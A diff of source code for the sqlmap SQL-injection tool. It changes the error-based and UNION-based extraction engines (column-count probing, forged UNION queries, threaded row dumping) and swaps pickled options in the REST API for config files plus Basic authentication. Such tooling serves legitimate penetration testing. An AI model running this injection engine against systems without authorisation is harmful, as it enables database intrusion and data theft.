+                        or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)

                    if trimmed:
                        if not chunkTest:
@@ -176,7 +173,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
                    else:
                        break

-                    if output:
+                    if output and conf.verbose in (1, 2) and not conf.api:
                        if kb.fileReadMode:
                            dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t"))
                        elif offset > 1:
@@ -205,8 +202,8 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
            hashDBWrite(expression, retVal)

    else:
-        _ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
-        retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal
+        _ = "(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
+        retVal = extractRegexResult(_, retVal) or retVal

    return safecharencode(retVal) if kb.safeCharEncode else retVal

@@ -301,7 +298,7 @@ def errorUse(expression, dump=False):
    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)

    # Set kb.partRun in case the engine is called from the API
-    kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None
+    kb.partRun = getPartRun(alias=False) if conf.api else None

    # We have to check if the SQL query might return multiple entries
    # and in such case forge the SQL limiting the query output one
@@ -355,94 +352,94 @@ def errorUse(expression, dump=False):
                    value = []  # for empty tables
                return value

-            if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD:
-                message = "due to huge table size do you want to remove "
-                message += "ORDER BY clause gaining speed over consistency? [y/N] "
-                _ = readInput(message, default="N")
+            if isNumPosStrValue(count) and int(count) > 1:
+                if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD:
+                    message = "due to huge table size do you want to remove "
+                    message += "ORDER BY clause gaining speed over consistency? [y/N] "

-                if _ and _[0] in ("y", "Y"):
-                    expression = expression[:expression.index(" ORDER BY ")]
+                    if readInput(message, default="N", boolean=True):
+                        expression = expression[:expression.index(" ORDER BY ")]

-            numThreads = min(conf.threads, (stopLimit - startLimit))
+                numThreads = min(conf.threads, (stopLimit - startLimit))

-            threadData = getCurrentThreadData()
+                threadData = getCurrentThreadData()

-            try:
-                threadData.shared.limits = iter(xrange(startLimit, stopLimit))
-            except OverflowError:
-                errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)
-                errMsg += "with switch '--fresh-queries'"
-                raise SqlmapDataException(errMsg)
+                try:
+                    threadData.shared.limits = iter(xrange(startLimit, stopLimit))
+                except OverflowError:
+                    errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)
+                    errMsg += "with switch '--fresh-queries'"
+                    raise SqlmapDataException(errMsg)

-            threadData.shared.value = BigArray()
-            threadData.shared.buffered = []
-            threadData.shared.counter = 0
-            threadData.shared.lastFlushed = startLimit - 1
-            threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1
+                threadData.shared.value = BigArray()
+                threadData.shared.buffered = []
+                threadData.shared.counter = 0
+                threadData.shared.lastFlushed = startLimit - 1
+                threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1

-            if threadData.shared.showEta:
-                threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit))
+                if threadData.shared.showEta:
+                    threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit))

-            if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD):
-                for field in expressionFieldsList:
-                    if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0':
-                        emptyFields.append(field)
-                        debugMsg = "column '%s' of table '%s' will not be " % (field, kb.dumpTable)
-                        debugMsg += "dumped as it appears to be empty"
-                        logger.debug(debugMsg)
+                if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD):
+                    for field in expressionFieldsList:
+                        if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0':
+                            emptyFields.append(field)
+                            debugMsg = "column '%s' of table '%s' will not be " % (field, kb.dumpTable)
+                            debugMsg += "dumped as it appears to be empty"
+                            logger.debug(debugMsg)

-            if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
-                kb.suppressResumeInfo = True
-                debugMsg = "suppressing possible resume console info because of "
-                debugMsg += "large number of rows. It might take too long"
-                logger.debug(debugMsg)
+                if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
+                    kb.suppressResumeInfo = True
+                    debugMsg = "suppressing possible resume console info because of "
+                    debugMsg += "large number of rows. It might take too long"
+                    logger.debug(debugMsg)

-            try:
-                def errorThread():
-                    threadData = getCurrentThreadData()
+                try:
+                    def errorThread():
+                        threadData = getCurrentThreadData()

-                    while kb.threadContinue:
-                        with kb.locks.limit:
-                            try:
-                                valueStart = time.time()
-                                threadData.shared.counter += 1
-                                num = threadData.shared.limits.next()
-                            except StopIteration:
+                        while kb.threadContinue:
+                            with kb.locks.limit:
+                                try:
+                                    valueStart = time.time()
+                                    threadData.shared.counter += 1
+                                    num = threadData.shared.limits.next()
+                                except StopIteration:
+                                    break
+
+                            output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields, threadData.shared.showEta)
+
+                            if not kb.threadContinue:
                                break

-                        output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields, threadData.shared.showEta)
+                            if output and isListLike(output) and len(output) == 1:
+                                output = output[0]

-                        if not kb.threadContinue:
-                            break
+                            with kb.locks.value:
+                                index = None
+                                if threadData.shared.showEta:
+                                    threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
+                                for index in xrange(1 + len(threadData.shared.buffered)):
+                                    if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
+                                        break
+                                threadData.shared.buffered.insert(index or 0, (num, output))
+                                while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]:
+                                    threadData.shared.lastFlushed += 1
+                                    threadData.shared.value.append(threadData.shared.buffered[0][1])
+                                    del threadData.shared.buffered[0]

-                        if output and isListLike(output) and len(output) == 1:
-                            output = output[0]
+                    runThreads(numThreads, errorThread)

-                        with kb.locks.value:
-                            index = None
-                            if threadData.shared.showEta:
-                                threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
-                            for index in xrange(len(threadData.shared.buffered)):
-                                if threadData.shared.buffered[index][0] >= num:
-                                    break
-                            threadData.shared.buffered.insert(index or 0, (num, output))
-                            while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]:
-                                threadData.shared.lastFlushed += 1
-                                threadData.shared.value.append(threadData.shared.buffered[0][1])
-                                del threadData.shared.buffered[0]
+                except KeyboardInterrupt:
+                    abortedFlag = True
+                    warnMsg = "user aborted during enumeration. sqlmap "
+                    warnMsg += "will display partial output"
+                    logger.warn(warnMsg)

-                runThreads(numThreads, errorThread)
-
-            except KeyboardInterrupt:
-                abortedFlag = True
-                warnMsg = "user aborted during enumeration. sqlmap "
-                warnMsg += "will display partial output"
-                logger.warn(warnMsg)
-
-            finally:
-                threadData.shared.value.extend(_[1] for _ in sorted(threadData.shared.buffered))
-                value = threadData.shared.value
-                kb.suppressResumeInfo = False
+                finally:
+                    threadData.shared.value.extend(_[1] for _ in sorted(threadData.shared.buffered))
+                    value = threadData.shared.value
+                    kb.suppressResumeInfo = False

    if not value and not abortedFlag:
        value = _errorFields(expression, expressionFields, expressionFieldsList)
@@ -5,6 +5,7 @@ Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

+import logging
 import random
 import re

@@ -52,8 +53,8 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
            query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
            query = agent.suffixQuery(query, suffix=suffix, comment=comment)
            payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
-            page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
-            return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and comparison(page, headers) or re.search(r"data types cannot be compared or sorted", page or "", re.I)
+            page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
+            return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I)

        if _orderByTest(1) and not _orderByTest(randomInt()):
            infoMsg = "'ORDER BY' technique appears to be usable. "
@@ -104,10 +105,10 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
        for count in xrange(lowerCount, upperCount + 1):
            query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where)
            payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
-            page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
+            page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
            if not isNullValue(kb.uChar):
                pages[count] = page
-            ratio = comparison(page, headers, getRatioValue=True) or MIN_RATIO
+            ratio = comparison(page, headers, code, getRatioValue=True) or MIN_RATIO
            ratios.append(ratio)
            min_, max_ = min(min_, ratio), max(max_, ratio)
            items.append((count, ratio))
@@ -154,7 +155,7 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=

    if retVal:
        infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal
-        singleTimeLogMessage(infoMsg)
+        singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", "N", infoMsg))

    return retVal

@@ -186,7 +187,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
            payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)

            # Perform the request
-            page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
+            page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
            content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
                removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
                payload, True) or "")
@@ -208,7 +209,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
                    payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)

                    # Perform the request
-                    page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
+                    page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
                    content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "")

                    if not all(_ in content for _ in (phrase, phrase2)):
@@ -221,7 +222,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
                        payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)

                        # Perform the request
-                        page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
+                        page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
                        content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
                            removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
                            payload, True) or "")
@@ -282,8 +283,8 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)

            if not conf.uChar and count > 1 and kb.uChar == NULL:
                message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] "
-                test = readInput(message, default="Y")
-                if test[0] not in ("y", "Y"):
+
+                if not readInput(message, default="Y", boolean=True):
                    warnMsg += "usage of option '--union-char' "
                    warnMsg += "(e.g. '--union-char=1') "
                else:
@@ -81,7 +81,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
        payload = agent.payload(newValue=query, where=where)

        # Perform the request
-        page, headers = Request.queryPage(payload, content=True, raise404=False)
+        page, headers, _ = Request.queryPage(payload, content=True, raise404=False)

        incrementCounter(PAYLOAD.TECHNIQUE.UNION)

@@ -215,7 +215,7 @@ def unionUse(expression, unpack=True, dump=False):
    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)

    # Set kb.partRun in case the engine is called from the API
-    kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None
+    kb.partRun = getPartRun(alias=False) if conf.api else None

    if Backend.isDbms(DBMS.MSSQL) and kb.dumpColumns:
        kb.rowXmlMode = True
@@ -226,7 +226,7 @@ def unionUse(expression, unpack=True, dump=False):

    if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
        # Removed ORDER BY clause because UNION does not play well with it
-        expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I)
+        expression = re.sub("(?i)\s*ORDER BY\s+[\w,]+", "", expression)
        debugMsg = "stripping ORDER BY clause from statement because "
        debugMsg += "it does not play well with UNION query SQL injection"
        singleTimeDebugMessage(debugMsg)
@@ -284,126 +284,127 @@ def unionUse(expression, unpack=True, dump=False):
                    value = []  # for empty tables
                return value

-            threadData = getCurrentThreadData()
+            if isNumPosStrValue(count) and int(count) > 1:
+                threadData = getCurrentThreadData()

-            try:
-                threadData.shared.limits = iter(xrange(startLimit, stopLimit))
-            except OverflowError:
-                errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)
-                errMsg += "with switch '--fresh-queries'"
-                raise SqlmapDataException(errMsg)
+                try:
+                    threadData.shared.limits = iter(xrange(startLimit, stopLimit))
+                except OverflowError:
+                    errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)
+                    errMsg += "with switch '--fresh-queries'"
+                    raise SqlmapDataException(errMsg)

-            numThreads = min(conf.threads, (stopLimit - startLimit))
-            threadData.shared.value = BigArray()
-            threadData.shared.buffered = []
-            threadData.shared.counter = 0
-            threadData.shared.lastFlushed = startLimit - 1
-            threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1
+                numThreads = min(conf.threads, (stopLimit - startLimit))
+                threadData.shared.value = BigArray()
+                threadData.shared.buffered = []
+                threadData.shared.counter = 0
+                threadData.shared.lastFlushed = startLimit - 1
+                threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1

-            if threadData.shared.showEta:
-                threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit))
+                if threadData.shared.showEta:
+                    threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit))

-            if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
-                kb.suppressResumeInfo = True
-                debugMsg = "suppressing possible resume console info because of "
-                debugMsg += "large number of rows. It might take too long"
-                logger.debug(debugMsg)
+                if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
+                    kb.suppressResumeInfo = True
+                    debugMsg = "suppressing possible resume console info because of "
+                    debugMsg += "large number of rows. It might take too long"
+                    logger.debug(debugMsg)

-            try:
-                def unionThread():
-                    threadData = getCurrentThreadData()
+                try:
+                    def unionThread():
+                        threadData = getCurrentThreadData()

-                    while kb.threadContinue:
-                        with kb.locks.limit:
-                            try:
-                                valueStart = time.time()
-                                threadData.shared.counter += 1
-                                num = threadData.shared.limits.next()
-                            except StopIteration:
+                        while kb.threadContinue:
+                            with kb.locks.limit:
+                                try:
+                                    valueStart = time.time()
+                                    threadData.shared.counter += 1
+                                    num = threadData.shared.limits.next()
+                                except StopIteration:
+                                    break
+
+                            if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
+                                field = expressionFieldsList[0]
+                            elif Backend.isDbms(DBMS.ORACLE):
+                                field = expressionFieldsList
+                            else:
+                                field = None
+
+                            limitedExpr = agent.limitQuery(num, expression, field)
+                            output = _oneShotUnionUse(limitedExpr, unpack, True)
+
+                            if not kb.threadContinue:
                                break

-                        if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
-                            field = expressionFieldsList[0]
-                        elif Backend.isDbms(DBMS.ORACLE):
-                            field = expressionFieldsList
-                        else:
-                            field = None
+                            if output:
+                                with kb.locks.value:
+                                    if all(_ in output for _ in (kb.chars.start, kb.chars.stop)):
+                                        items = parseUnionPage(output)

-                        limitedExpr = agent.limitQuery(num, expression, field)
-                        output = _oneShotUnionUse(limitedExpr, unpack, True)
+                                        if threadData.shared.showEta:
+                                            threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
+                                        if isListLike(items):
+                                            # in case that we requested N columns and we get M!=N then we have to filter a bit
+                                            if len(items) > 1 and len(expressionFieldsList) > 1:
+                                                items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
+                                            items = [_ for _ in flattenValue(items)]
+                                            if len(items) > len(expressionFieldsList):
+                                                filtered = OrderedDict()
+                                                for item in items:
+                                                    key = re.sub(r"[^A-Za-z0-9]", "", item).lower()
+                                                    if key not in filtered or re.search(r"[^A-Za-z0-9]", item):
+                                                        filtered[key] = item
+                                                items = filtered.values()
+                                            items = [items]
+                                        index = None
+                                        for index in xrange(1 + len(threadData.shared.buffered)):
+                                            if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
+                                                break
+                                        threadData.shared.buffered.insert(index or 0, (num, items))
+                                    else:
+                                        index = None
+                                        if threadData.shared.showEta:
+                                            threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
+                                        for index in xrange(1 + len(threadData.shared.buffered)):
+                                            if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
+                                                break
+                                        threadData.shared.buffered.insert(index or 0, (num, None))

-                        if not kb.threadContinue:
-                            break
+                                        items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)

-                        if output:
-                            with kb.locks.value:
-                                if all(_ in output for _ in (kb.chars.start, kb.chars.stop)):
-                                    items = parseUnionPage(output)
+                                    while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH):
+                                        threadData.shared.lastFlushed, _ = threadData.shared.buffered[0]
+                                        if not isNoneValue(_):
+                                            threadData.shared.value.extend(arrayizeValue(_))
+                                        del threadData.shared.buffered[0]

-                                    if threadData.shared.showEta:
-                                        threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
-                                    if isListLike(items):
-                                        # in case that we requested N columns and we get M!=N then we have to filter a bit
-                                        if len(items) > 1 and len(expressionFieldsList) > 1:
-                                            items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
-                                        items = [_ for _ in flattenValue(items)]
-                                        if len(items) > len(expressionFieldsList):
-                                            filtered = OrderedDict()
-                                            for item in items:
-                                                key = re.sub(r"[^A-Za-z0-9]", "", item).lower()
-                                                if key not in filtered or re.search(r"[^A-Za-z0-9]", item):
-                                                    filtered[key] = item
-                                            items = filtered.values()
-                                        items = [items]
-                                    index = None
-                                    for index in xrange(len(threadData.shared.buffered)):
-                                        if threadData.shared.buffered[index][0] >= num:
-                                            break
-                                    threadData.shared.buffered.insert(index or 0, (num, items))
-                                else:
-                                    index = None
-                                    if threadData.shared.showEta:
-                                        threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
-                                    for index in xrange(len(threadData.shared.buffered)):
-                                        if threadData.shared.buffered[index][0] >= num:
-                                            break
-                                    threadData.shared.buffered.insert(index or 0, (num, None))
+                                if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta:
+                                    _ = ','.join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))) if not isinstance(items, basestring) else items
+                                    status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_))

-                                    items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)
+                                    if len(status) > width:
+                                        status = "%s..." % status[:width - 3]

-                                while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH):
-                                    threadData.shared.lastFlushed, _ = threadData.shared.buffered[0]
-                                    if not isNoneValue(_):
-                                        threadData.shared.value.extend(arrayizeValue(_))
-                                    del threadData.shared.buffered[0]
+                                    dataToStdout("%s\n" % status)

-                            if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta:
-                                _ = ",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))) if not isinstance(items, basestring) else items
-                                status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_))
+                    runThreads(numThreads, unionThread)

-                                if len(status) > width:
-                                    status = "%s..." % status[:width - 3]
+                    if conf.verbose == 1:
+                        clearConsoleLine(True)

-                                dataToStdout("%s\n" % status)
+                except KeyboardInterrupt:
+                    abortedFlag = True

-                runThreads(numThreads, unionThread)
+                    warnMsg = "user aborted during enumeration. sqlmap "
+                    warnMsg += "will display partial output"
+                    logger.warn(warnMsg)

-                if conf.verbose == 1:
-                    clearConsoleLine(True)
-
-            except KeyboardInterrupt:
-                abortedFlag = True
-
-                warnMsg = "user aborted during enumeration. sqlmap "
-                warnMsg += "will display partial output"
-                logger.warn(warnMsg)
-
-            finally:
-                for _ in sorted(threadData.shared.buffered):
-                    if not isNoneValue(_[1]):
-                        threadData.shared.value.extend(arrayizeValue(_[1]))
-                value = threadData.shared.value
-                kb.suppressResumeInfo = False
+                finally:
+                    for _ in sorted(threadData.shared.buffered):
+                        if not isNoneValue(_[1]):
+                            threadData.shared.value.extend(arrayizeValue(_[1]))
+                    value = threadData.shared.value
+                    kb.suppressResumeInfo = False

    if not value and not abortedFlag:
        output = _oneShotUnionUse(expression, unpack)
@@ -7,6 +7,7 @@ See the file 'doc/COPYING' for copying permission
 """

 import contextlib
+import httplib
 import logging
 import os
 import re
@@ -20,8 +21,8 @@ import urllib2

 from lib.core.common import dataToStdout
 from lib.core.common import getSafeExString
+from lib.core.common import saveConfig
 from lib.core.common import unArrayizeValue
-from lib.core.convert import base64pickle
 from lib.core.convert import hexencode
 from lib.core.convert import dejsonize
 from lib.core.convert import jsonize
@@ -43,6 +44,7 @@ from lib.core.settings import RESTAPI_DEFAULT_ADDRESS
 from lib.core.settings import RESTAPI_DEFAULT_PORT
 from lib.core.subprocessng import Popen
 from lib.parse.cmdline import cmdLineParser
+from thirdparty.bottle.bottle import abort
 from thirdparty.bottle.bottle import error as return_error
 from thirdparty.bottle.bottle import get
 from thirdparty.bottle.bottle import hook
@@ -50,14 +52,15 @@ from thirdparty.bottle.bottle import post
 from thirdparty.bottle.bottle import request
 from thirdparty.bottle.bottle import response
 from thirdparty.bottle.bottle import run
+from thirdparty.bottle.bottle import server_names

-
-# global settings
+# Global data storage
 class DataStore(object):
    admin_id = ""
    current_db = None
    tasks = dict()
-
+    username = None
+    password = None

 # API objects
 class Database(object):
@@ -69,7 +72,7 @@ class Database(object):
        self.cursor = None

    def connect(self, who="server"):
-        self.connection = sqlite3.connect(self.database, timeout=3, isolation_level=None)
+        self.connection = sqlite3.connect(self.database, timeout=3, isolation_level=None, check_same_thread=False)
        self.cursor = self.connection.cursor()
        logger.debug("REST-JSON API %s connected to IPC database" % who)

@@ -117,7 +120,6 @@ class Database(object):
                    "taskid INTEGER, error TEXT"
                    ")")

-
 class Task(object):
    def __init__(self, taskid, remote_addr):
        self.remote_addr = remote_addr
@@ -162,12 +164,16 @@ class Task(object):
        self.options = AttribDict(self._original_options)

    def engine_start(self):
+        handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True)
+        os.close(handle)
+        saveConfig(self.options, configFile)
+
        if os.path.exists("sqlmap.py"):
-            self.process = Popen(["python", "sqlmap.py", "--pickled-options", base64pickle(self.options)], shell=False, close_fds=not IS_WIN)
+            self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN)
        elif os.path.exists(os.path.join(os.getcwd(), "sqlmap.py")):
-            self.process = Popen(["python", "sqlmap.py", "--pickled-options", base64pickle(self.options)], shell=False, cwd=os.getcwd(), close_fds=not IS_WIN)
+            self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.getcwd(), close_fds=not IS_WIN)
        else:
-            self.process = Popen(["sqlmap", "--pickled-options", base64pickle(self.options)], shell=False, close_fds=not IS_WIN)
+            self.process = Popen(["sqlmap", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN)

    def engine_stop(self):
        if self.process:
@@ -227,34 +233,26 @@ class StdDbOut(object):
                    # Ignore all non-relevant messages
                    return

-            output = conf.databaseCursor.execute(
-                "SELECT id, status, value FROM data WHERE taskid = ? AND content_type = ?",
-                (self.taskid, content_type))
+            output = conf.databaseCursor.execute("SELECT id, status, value FROM data WHERE taskid = ? AND content_type = ?", (self.taskid, content_type))

            # Delete partial output from IPC database if we have got a complete output
            if status == CONTENT_STATUS.COMPLETE:
                if len(output) > 0:
                    for index in xrange(len(output)):
-                        conf.databaseCursor.execute("DELETE FROM data WHERE id = ?",
-                                                     (output[index][0],))
+                        conf.databaseCursor.execute("DELETE FROM data WHERE id = ?", (output[index][0],))

-                conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)",
-                                             (self.taskid, status, content_type, jsonize(value)))
+                conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (self.taskid, status, content_type, jsonize(value)))
                if kb.partRun:
                    kb.partRun = None

            elif status == CONTENT_STATUS.IN_PROGRESS:
                if len(output) == 0:
-                    conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)",
-                                                 (self.taskid, status, content_type,
-                                                  jsonize(value)))
+                    conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (self.taskid, status, content_type, jsonize(value)))
                else:
                    new_value = "%s%s" % (dejsonize(output[0][2]), value)
-                    conf.databaseCursor.execute("UPDATE data SET value = ? WHERE id = ?",
-                                                 (jsonize(new_value), output[0][0]))
+                    conf.databaseCursor.execute("UPDATE data SET value = ? WHERE id = ?", (jsonize(new_value), output[0][0]))
        else:
-            conf.databaseCursor.execute("INSERT INTO errors VALUES(NULL, ?, ?)",
-                                         (self.taskid, str(value) if value else ""))
+            conf.databaseCursor.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (self.taskid, str(value) if value else ""))

    def flush(self):
        pass
@@ -265,20 +263,16 @@ class StdDbOut(object):
    def seek(self):
        pass

-
 class LogRecorder(logging.StreamHandler):
    def emit(self, record):
        """
        Record emitted events to IPC database for asynchronous I/O
        communication with the parent process
        """
-        conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)",
-                                     (conf.taskid, time.strftime("%X"), record.levelname,
-                                      record.msg % record.args if record.args else record.msg))
-
+        conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (conf.taskid, time.strftime("%X"), record.levelname, record.msg % record.args if record.args else record.msg))

 def setRestAPILog():
-    if hasattr(conf, "api"):
+    if conf.api:
        try:
            conf.databaseCursor = Database(conf.database)
            conf.databaseCursor.connect("client")
@@ -290,11 +284,32 @@ def setRestAPILog():
        LOGGER_RECORDER = LogRecorder()
        logger.addHandler(LOGGER_RECORDER)

-
 # Generic functions
 def is_admin(taskid):
    return DataStore.admin_id == taskid

+@hook('before_request')
+def check_authentication():
+    if not any((DataStore.username, DataStore.password)):
+        return
+
+    authorization = request.headers.get("Authorization", "")
+    match = re.search(r"(?i)\ABasic\s+([^\s]+)", authorization)
+
+    if not match:
+        request.environ["PATH_INFO"] = "/error/401"
+
+    try:
+        creds = match.group(1).decode("base64")
+    except:
+        request.environ["PATH_INFO"] = "/error/401"
+    else:
+        if creds.count(':') != 1:
+            request.environ["PATH_INFO"] = "/error/401"
+        else:
+            username, password = creds.split(':')
+            if username.strip() != (DataStore.username or "") or password.strip() != (DataStore.password or ""):
+                request.environ["PATH_INFO"] = "/error/401"

@hook("after_request")
 def security_headers(json_header=True):
@@ -308,6 +323,7 @@ def security_headers(json_header=True):
    response.headers["Pragma"] = "no-cache"
    response.headers["Cache-Control"] = "no-cache"
    response.headers["Expires"] = "0"
+
    if json_header:
        response.content_type = "application/json; charset=UTF-8"

@@ -315,35 +331,39 @@ def security_headers(json_header=True):
 # HTTP Status Code functions #
 ##############################

-
@return_error(401)  # Access Denied
 def error401(error=None):
    security_headers(False)
    return "Access denied"

-
@return_error(404)  # Not Found
 def error404(error=None):
    security_headers(False)
    return "Nothing here"

-
@return_error(405)  # Method Not Allowed (e.g. when requesting a POST method via GET)
 def error405(error=None):
    security_headers(False)
    return "Method not allowed"

-
@return_error(500)  # Internal Server Error
 def error500(error=None):
    security_headers(False)
    return "Internal server error"

+#############
+# Auxiliary #
+#############
+
+@get('/error/401')
+def path_401():
+    response.status = 401
+    return response
+
 #############################
 # Task management functions #
 #############################

-
 # Users' methods
@get("/task/new")
 def task_new():
@@ -358,7 +378,6 @@ def task_new():
    logger.debug("Created new task: '%s'" % taskid)
    return jsonize({"success": True, "taskid": taskid})

-
@get("/task/<taskid>/delete")
 def task_delete(taskid):
    """
@@ -377,7 +396,6 @@ def task_delete(taskid):
 # Admin functions #
 ###################

-
@get("/admin/<taskid>/list")
 def task_list(taskid=None):
    """
@@ -410,7 +428,6 @@ def task_flush(taskid):
 # sqlmap core interact functions #
 ##################################

-
 # Handle task's options
@get("/option/<taskid>/list")
 def option_list(taskid):
@@ -424,7 +441,6 @@ def option_list(taskid):
    logger.debug("[%s] Listed task options" % taskid)
